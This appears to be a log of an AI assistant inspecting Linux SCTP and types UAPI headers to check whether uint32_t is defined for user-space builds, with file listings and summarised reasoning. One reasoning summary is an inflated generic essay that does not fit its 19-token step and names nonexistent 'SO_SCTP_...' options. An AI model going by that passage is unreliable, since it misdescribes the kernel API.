 819:	 * 7.1.18.  Add a chunk that must be authenticated (SCTP_AUTH_CHUNK)
 820:	 *
 821:	 * This set option adds a chunk type that the user is requesting to be
 822:	 * received only in an authenticated way.  Changes to the list of chunks
 823:	 * will only effect future associations on the socket.
 824:	 */
 825:	struct sctp_authchunk {
 826:		__u8		sauth_chunk;
 827:	};
 828:	
 829:	/*
 830:	 * 7.1.19.  Get or set the list of supported HMAC Identifiers (SCTP_HMAC_IDENT)
 831:	 *
 832:	 * This option gets or sets the list of HMAC algorithms that the local
 833:	 * endpoint requires the peer to use.
 834:	 */
 835:	#ifndef __KERNEL__
 836:	/* This here is only used by user space as is. It might not be a good idea
 837:	 * to export/reveal the whole structure with reserved fields etc.
 838:	 */
 839:	enum {
 840:		SCTP_AUTH_HMAC_ID_SHA1 = 1,
 841:		SCTP_AUTH_HMAC_ID_SHA256 = 3,
 842:	};
 843:	#endif
 844:	
 845:	struct sctp_hmacalgo {
 846:		__u32		shmac_num_idents;
 847:		__u16		shmac_idents[];
 848:	};
 849:	
 850:	/* Sadly, user and kernel space have different names for
 851:	 * this structure member, so this is to not break anything.
 852:	 */
 853:	#define shmac_number_of_idents	shmac_num_idents
 854:	
 855:	/*
 856:	 * 7.1.20.  Set a shared key (SCTP_AUTH_KEY)
 857:	 *
 858:	 * This option will set a shared secret key which is used to build an
 859:	 * association shared key.
 860:	 */
 861:	struct sctp_authkey {
 862:		sctp_assoc_t	sca_assoc_id;
 863:		__u16		sca_keynumber;
 864:		__u16		sca_keylength;
 865:		__u8		sca_key[];
 866:	};
 867:	
 868:	/*
 869:	 * 7.1.21.  Get or set the active shared key (SCTP_AUTH_ACTIVE_KEY)
 870:	 *
 871:	 * This option will get or set the active shared key to be used to build
 872:	 * the association shared key.
 873:	 */
 874:	
 875:	struct sctp_authkeyid {
 876:		sctp_assoc_t	scact_assoc_id;
 877:		__u16		scact_keynumber;
 878:	};
 879:	
 880:	
 881:	/*
 882:	 * 7.1.23.  Get or set delayed ack timer (SCTP_DELAYED_SACK)
 883:	 *
 884:	 * This option will effect the way delayed acks are performed.  This
 885:	 * option allows you to get or set the delayed ack time, in
 886:	 * milliseconds.  It also allows changing the delayed ack frequency.
 887:	 * Changing the frequency to 1 disables the delayed sack algorithm.  If
 888:	 * the assoc_id is 0, then this sets or gets the endpoints default
 889:	 * values.  If the assoc_id field is non-zero, then the set or get
 890:	 * effects the specified association for the one to many model (the
 891:	 * assoc_id field is ignored by the one to one model).  Note that if
 892:	 * sack_delay or sack_freq are 0 when setting this option, then the
 893:	 * current values will remain unchanged.
 894:	 */
 895:	struct sctp_sack_info {
 896:		sctp_assoc_t	sack_assoc_id;
 897:		uint32_t	sack_delay;
 898:		uint32_t	sack_freq;
 899:	};
 900:	
]

gemini-3.7-flash

							input: 21057
							output: 36
							thoughts: 174
						

**My Thought Process**

I'm reviewing this code, and my attention is immediately drawn to lines 897 and 898, where I see the declarations:

```c
uint32_t sack_delay;
uint32_t sack_freq;
```

My first thought is, "Wait a minute, is `uint32_t` actually defined in this context?" This is a common point of concern when dealing with kernel-related code or systems where the standard C types might be handled differently.

I then jump to, "Where is `uint32_t` supposed to be coming from?" My immediate assumption, given the `linux` path in the include, is that it's originating from `<linux/types.h>`.

But then, a more specific recollection or doubt kicks in: "In `<linux/types.h>`, isn't it typically `__u32` that's the underlying definition, or is `uint32_t` *also* defined there?" I recall that the Linux kernel uses a specific set of types for UAPI (User-API) headers, and the presence of `uint32_t` versus `__u32` can sometimes be a subtle but important distinction.

My thought process then leads me to a more granular investigation: "Okay, let's verify the conditions under which `<linux/types.h>` actually defines `uint32_t`." I know that these definitions are often guarded by preprocessor macros. Specifically, I'm thinking about the `!defined(__KERNEL__)` condition (meaning it's likely being included in a user-space context or a UAPI header) and the `__UAPI_DEF_...` style macros, which are used to ensure consistent definitions across kernel and user-space UAPI headers.

To resolve this, I'm prompted to go directly to the source: "I need to check `include/uapi/linux/types.h` to see exactly what's defined there." This is the definitive place to find the UAPI type definitions.

Finally, my thought concludes with the explicit action: "Let's look at what `include/uapi/linux/types.h` *actually* defines regarding `uint32_t` and its related macros." This will confirm whether the `uint32_t` usage I'm seeing is valid and how it's being implemented under the hood.

map[File:include/uapi/linux/types.h FirstLine:1 LineCount:60]

map[Contents:   1:	/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */
   2:	#ifndef _UAPI_LINUX_TYPES_H
   3:	#define _UAPI_LINUX_TYPES_H
   4:	
   5:	#include <asm/types.h>
   6:	
   7:	#ifndef __ASSEMBLY__
   8:	#ifndef	__KERNEL__
   9:	#ifndef __EXPORTED_HEADERS__
  10:	#warning "Attempt to use kernel headers from user space, see https://kernelnewbies.org/KernelHeaders"
  11:	#endif /* __EXPORTED_HEADERS__ */
  12:	#endif
  13:	
  14:	#include <linux/posix_types.h>
  15:	
  16:	#ifdef __SIZEOF_INT128__
  17:	typedef __signed__ __int128 __s128 __attribute__((aligned(16)));
  18:	typedef unsigned __int128 __u128 __attribute__((aligned(16)));
  19:	#endif
  20:	
  21:	/*
  22:	 * Below are truly Linux-specific types that should never collide with
  23:	 * any application/library that wants linux/types.h.
  24:	 */
  25:	
  26:	/* sparse defines __CHECKER__; see Documentation/dev-tools/sparse.rst */
  27:	#ifdef __CHECKER__
  28:	#define __bitwise	__attribute__((bitwise))
  29:	#else
  30:	#define __bitwise
  31:	#endif
  32:	
  33:	/* The kernel doesn't use this legacy form, but user space does */
  34:	#define __bitwise__ __bitwise
  35:	
  36:	typedef __u16 __bitwise __le16;
  37:	typedef __u16 __bitwise __be16;
  38:	typedef __u32 __bitwise __le32;
  39:	typedef __u32 __bitwise __be32;
  40:	typedef __u64 __bitwise __le64;
  41:	typedef __u64 __bitwise __be64;
  42:	
  43:	typedef __u16 __bitwise __sum16;
  44:	typedef __u32 __bitwise __wsum;
  45:	
  46:	/*
  47:	 * aligned_u64 should be used in defining kernel<->userspace ABIs to avoid
  48:	 * common 32/64-bit compat problems.
  49:	 * 64-bit values align to 4-byte boundaries on x86_32 (and possibly other
  50:	 * architectures) and to 8-byte boundaries on 64-bit architectures.  The new
  51:	 * aligned_64 type enforces 8-byte alignment so that structs containing
  52:	 * aligned_64 values have the same alignment on 32-bit and 64-bit architectures.
  53:	 * No conversions are necessary between 32-bit user-space and a 64-bit kernel.
  54:	 */
  55:	#define __aligned_u64 __u64 __attribute__((aligned(8)))
  56:	#define __aligned_s64 __s64 __attribute__((aligned(8)))
  57:	#define __aligned_be64 __be64 __attribute__((aligned(8)))
  58:	#define __aligned_le64 __le64 __attribute__((aligned(8)))
  59:	
  60:	typedef unsigned __bitwise __poll_t;
]

gemini-3.7-flash

							input: 22216
							output: 41
							thoughts: 98
						

**My Thought Process Regarding SCTP Header Inclusion**

Okay, so I'm looking at this `linux/sctp.h` header and a potential issue just jumped out at me. My immediate thought is, "Wait a minute!" If a user *only* includes `<linux/sctp.h>` and nothing else, there's a risk that `uint32_t` might not be defined. This is because the definition of `uint32_t` typically comes from `<stdint.h>`, and `<linux/sctp.h>` itself doesn't seem to *directly* include `<stdint.h>` in a way that guarantees its presence if it's the *only* header included.

However, my understanding of the network stack headers tells me that `<netinet/in.h>` *does* define `uint32_t`, and it often does so by including `<stdint.h>` itself. So, if someone includes `<netinet/in.h>` *in addition* to `<linux/sctp.h>`, then `uint32_t` would be defined through `<netinet/in.h>`. This is a common scenario in network programming, of course.

But the core of my concern is the *minimal* case: what happens if *only* `<linux/sctp.h>` is included? I need to verify this. My next step is to dive into the actual source code of `include/uapi/linux/sctp.h` itself. I need to carefully examine its contents and see exactly what other headers it pulls in, or if it assumes certain definitions are already present from the compilation environment. This will confirm or deny my initial suspicion about the `uint32_t` definition in that isolated scenario.

map[File:include/uapi/linux/sctp.h FirstLine:901 LineCount:100]

map[Contents: 901:	struct sctp_assoc_value {
 902:	    sctp_assoc_t            assoc_id;
 903:	    uint32_t                assoc_value;
 904:	};
 905:	
 906:	struct sctp_stream_value {
 907:		sctp_assoc_t assoc_id;
 908:		uint16_t stream_id;
 909:		uint16_t stream_value;
 910:	};
 911:	
 912:	/*
 913:	 * 7.2.2 Peer Address Information
 914:	 *
 915:	 *   Applications can retrieve information about a specific peer address
 916:	 *   of an association, including its reachability state, congestion
 917:	 *   window, and retransmission timer values.  This information is
 918:	 *   read-only. The following structure is used to access this
 919:	 *   information:
 920:	 */
 921:	struct sctp_paddrinfo {
 922:		sctp_assoc_t		spinfo_assoc_id;
 923:		struct sockaddr_storage	spinfo_address;
 924:		__s32			spinfo_state;
 925:		__u32			spinfo_cwnd;
 926:		__u32			spinfo_srtt;
 927:		__u32			spinfo_rto;
 928:		__u32			spinfo_mtu;
 929:	} __attribute__((packed, aligned(4)));
 930:	
 931:	/* Peer addresses's state. */
 932:	/* UNKNOWN: Peer address passed by the upper layer in sendmsg or connect[x]
 933:	 * calls.
 934:	 * UNCONFIRMED: Peer address received in INIT/INIT-ACK address parameters.
 935:	 *              Not yet confirmed by a heartbeat and not available for data
 936:	 *		transfers.
 937:	 * ACTIVE : Peer address confirmed, active and available for data transfers.
 938:	 * INACTIVE: Peer address inactive and not available for data transfers.
 939:	 */
 940:	enum sctp_spinfo_state {
 941:		SCTP_INACTIVE,
 942:		SCTP_PF,
 943:	#define	SCTP_POTENTIALLY_FAILED		SCTP_PF
 944:		SCTP_ACTIVE,
 945:		SCTP_UNCONFIRMED,
 946:		SCTP_UNKNOWN = 0xffff  /* Value used for transport state unknown */
 947:	};
 948:	
 949:	/*
 950:	 * 7.2.1 Association Status (SCTP_STATUS)
 951:	 *
 952:	 *   Applications can retrieve current status information about an
 953:	 *   association, including association state, peer receiver window size,
 954:	 *   number of unacked data chunks, and number of data chunks pending
 955:	 *   receipt.  This information is read-only.  The following structure is
 956:	 *   used to access this information:
 957:	 */
 958:	struct sctp_status {
 959:		sctp_assoc_t		sstat_assoc_id;
 960:		__s32			sstat_state;
 961:		__u32			sstat_rwnd;
 962:		__u16			sstat_unackdata;
 963:		__u16			sstat_penddata;
 964:		__u16			sstat_instrms;
 965:		__u16			sstat_outstrms;
 966:		__u32			sstat_fragmentation_point;
 967:		struct sctp_paddrinfo	sstat_primary;
 968:	};
 969:	
 970:	/*
 971:	 * 7.2.3.  Get the list of chunks the peer requires to be authenticated
 972:	 *         (SCTP_PEER_AUTH_CHUNKS)
 973:	 *
 974:	 * This option gets a list of chunks for a specified association that
 975:	 * the peer requires to be received authenticated only.
 976:	 */
 977:	struct sctp_authchunks {
 978:		sctp_assoc_t	gauth_assoc_id;
 979:		__u32		gauth_number_of_chunks;
 980:		uint8_t		gauth_chunks[];
 981:	};
 982:	
 983:	/* The broken spelling has been released already in lksctp-tools header,
 984:	 * so don't break anyone, now that it's fixed.
 985:	 */
 986:	#define guth_number_of_chunks	gauth_number_of_chunks
 987:	
 988:	/* Association states.  */
 989:	enum sctp_sstat_state {
 990:		SCTP_EMPTY                = 0,
 991:		SCTP_CLOSED               = 1,
 992:		SCTP_COOKIE_WAIT          = 2,
 993:		SCTP_COOKIE_ECHOED        = 3,
 994:		SCTP_ESTABLISHED          = 4,
 995:		SCTP_SHUTDOWN_PENDING     = 5,
 996:		SCTP_SHUTDOWN_SENT        = 6,
 997:		SCTP_SHUTDOWN_RECEIVED    = 7,
 998:		SCTP_SHUTDOWN_ACK_SENT    = 8,
 999:	};
1000:	
]

gemini-3.7-flash

							input: 23957
							output: 42
							thoughts: 19
						

**My Thought Process Regarding `include/uapi/linux/sctp.h`**

Alright, so my current focus is on delving into the specifics of `include/uapi/linux/sctp.h`. I'm really looking to understand the low-level details of the SCTP (Stream Control Transmission Protocol) implementation as exposed to userspace. This header file is crucial because it defines the structures, constants, and flags that applications will use when interacting with the SCTP kernel module via system calls, particularly `setsockopt()` and `getsockopt()`.

My goal here is to build a comprehensive mental model of how SCTP operates from an API perspective. I need to dissect each structure defined in this header – things like `sctp_assoc_params`, `sctp_paddr_param`, `sctp_sndrcvinfo`, and so forth. For each structure, I'll be meticulously examining:

*   **The fields:** What data does each field represent? What are the expected data types and ranges? I'm looking for direct correlations to SCTP protocol concepts like association parameters, peer addresses, transport addresses, and message information.
*   **The purpose:** How is this structure used in practice? Is it for configuring association attributes, querying peer status, sending specific types of SCTP messages, or receiving event notifications?
*   **The constants and flags:** The header is rife with `#define` directives. I need to understand what each of these constants signifies. Are they for protocol negotiation, error codes, event types, or specific option flags for socket operations? I'm particularly interested in the `SO_SCTP_...` options, as these are the direct entry points for userspace control.

I anticipate that understanding these definitions will be key to grasping:

*   **Association Management:** How do I establish, reconfigure, and terminate SCTP associations from userspace? This header will likely contain the necessary structures and options for controlling association parameters like RTO (Retransmission Timeout), cookie preservation, and maximum retransmissions.
*   **Message Delivery:** How do I send and receive SCTP messages with specific delivery guarantees (e.g., ordered vs. unordered delivery)? The `sctp_sndrcvinfo` structure will be paramount here, as it dictates message sequencing, stream identifiers, and priority.
*   **Event Notification:** How does the kernel inform userspace about SCTP events like association establishment, peer failure, or message reception? I'll be looking for structures and flags related to the `SCTP_EVENTS` socket option.
*   **Peer and Address Management:** How do I query information about connected peers and their associated transport addresses? The structures related to address parameters will be essential for this.

Ultimately, my objective is to move from abstract SCTP concepts to concrete C structures and system call arguments. This header file is the bridge, and by thoroughly analyzing its contents, I aim to solidify my understanding of how to effectively utilize the SCTP protocol from a programming standpoint. I'm not just reading it; I'm mentally mapping it to the underlying protocol mechanisms and anticipating how these definitions will translate into functional code.

map[File:include/uapi/linux/sctp.h FirstLine:1001 LineCount:100]

map[Contents:1001:	/*
1002:	 * 8.2.6. Get the Current Identifiers of Associations
1003:	 *        (SCTP_GET_ASSOC_ID_LIST)
1004:	 *
1005:	 * This option gets the current list of SCTP association identifiers of
1006:	 * the SCTP associations handled by a one-to-many style socket.
1007:	 */
1008:	struct sctp_assoc_ids {
1009:		__u32		gaids_number_of_ids;
1010:		sctp_assoc_t	gaids_assoc_id[];
1011:	};
1012:	
1013:	/*
1014:	 * 8.3, 8.5 get all peer/local addresses in an association.
1015:	 * This parameter struct is used by SCTP_GET_PEER_ADDRS and
1016:	 * SCTP_GET_LOCAL_ADDRS socket options used internally to implement
1017:	 * sctp_getpaddrs() and sctp_getladdrs() API.
1018:	 */
1019:	struct sctp_getaddrs_old {
1020:		sctp_assoc_t            assoc_id;
1021:		int			addr_num;
1022:	#ifdef __KERNEL__
1023:		struct sockaddr		__user *addrs;
1024:	#else
1025:		struct sockaddr		*addrs;
1026:	#endif
1027:	};
1028:	
1029:	struct sctp_getaddrs {
1030:		sctp_assoc_t		assoc_id; /*input*/
1031:		__u32			addr_num; /*output*/
1032:		__u8			addrs[]; /*output, variable size*/
1033:	};
1034:	
1035:	/* A socket user request obtained via SCTP_GET_ASSOC_STATS that retrieves
1036:	 * association stats. All stats are counts except sas_maxrto and
1037:	 * sas_obs_rto_ipaddr. maxrto is the max observed rto + transport since
1038:	 * the last call. Will return 0 when RTO was not update since last call
1039:	 */
1040:	struct sctp_assoc_stats {
1041:		sctp_assoc_t	sas_assoc_id;    /* Input */
1042:						 /* Transport of observed max RTO */
1043:		struct sockaddr_storage sas_obs_rto_ipaddr;
1044:		__u64		sas_maxrto;      /* Maximum Observed RTO for period */
1045:		__u64		sas_isacks;	 /* SACKs received */
1046:		__u64		sas_osacks;	 /* SACKs sent */
1047:		__u64		sas_opackets;	 /* Packets sent */
1048:		__u64		sas_ipackets;	 /* Packets received */
1049:		__u64		sas_rtxchunks;   /* Retransmitted Chunks */
1050:		__u64		sas_outofseqtsns;/* TSN received > next expected */
1051:		__u64		sas_idupchunks;  /* Dups received (ordered+unordered) */
1052:		__u64		sas_gapcnt;      /* Gap Acknowledgements Received */
1053:		__u64		sas_ouodchunks;  /* Unordered data chunks sent */
1054:		__u64		sas_iuodchunks;  /* Unordered data chunks received */
1055:		__u64		sas_oodchunks;	 /* Ordered data chunks sent */
1056:		__u64		sas_iodchunks;	 /* Ordered data chunks received */
1057:		__u64		sas_octrlchunks; /* Control chunks sent */
1058:		__u64		sas_ictrlchunks; /* Control chunks received */
1059:	};
1060:	
1061:	/*
1062:	 * 8.1 sctp_bindx()
1063:	 *
1064:	 * The flags parameter is formed from the bitwise OR of zero or more of the
1065:	 * following currently defined flags:
1066:	 */
1067:	#define SCTP_BINDX_ADD_ADDR 0x01
1068:	#define SCTP_BINDX_REM_ADDR 0x02
1069:	
1070:	/* This is the structure that is passed as an argument(optval) to
1071:	 * getsockopt(SCTP_SOCKOPT_PEELOFF).
1072:	 */
1073:	typedef struct {
1074:		sctp_assoc_t associd;
1075:		int sd;
1076:	} sctp_peeloff_arg_t;
1077:	
1078:	typedef struct {
1079:		sctp_peeloff_arg_t p_arg;
1080:		unsigned flags;
1081:	} sctp_peeloff_flags_arg_t;
1082:	
1083:	/*
1084:	 *  Peer Address Thresholds socket option
1085:	 */
1086:	struct sctp_paddrthlds {
1087:		sctp_assoc_t spt_assoc_id;
1088:		struct sockaddr_storage spt_address;
1089:		__u16 spt_pathmaxrxt;
1090:		__u16 spt_pathpfthld;
1091:	};
1092:	
1093:	/* Use a new structure with spt_pathcpthld for back compatibility */
1094:	struct sctp_paddrthlds_v2 {
1095:		sctp_assoc_t spt_assoc_id;
1096:		struct sockaddr_storage spt_address;
1097:		__u16 spt_pathmaxrxt;
1098:		__u16 spt_pathpfthld;
1099:		__u16 spt_pathcpthld;
1100:	};
]

gemini-3.7-flash

							input: 25705
							output: 42
							thoughts: 6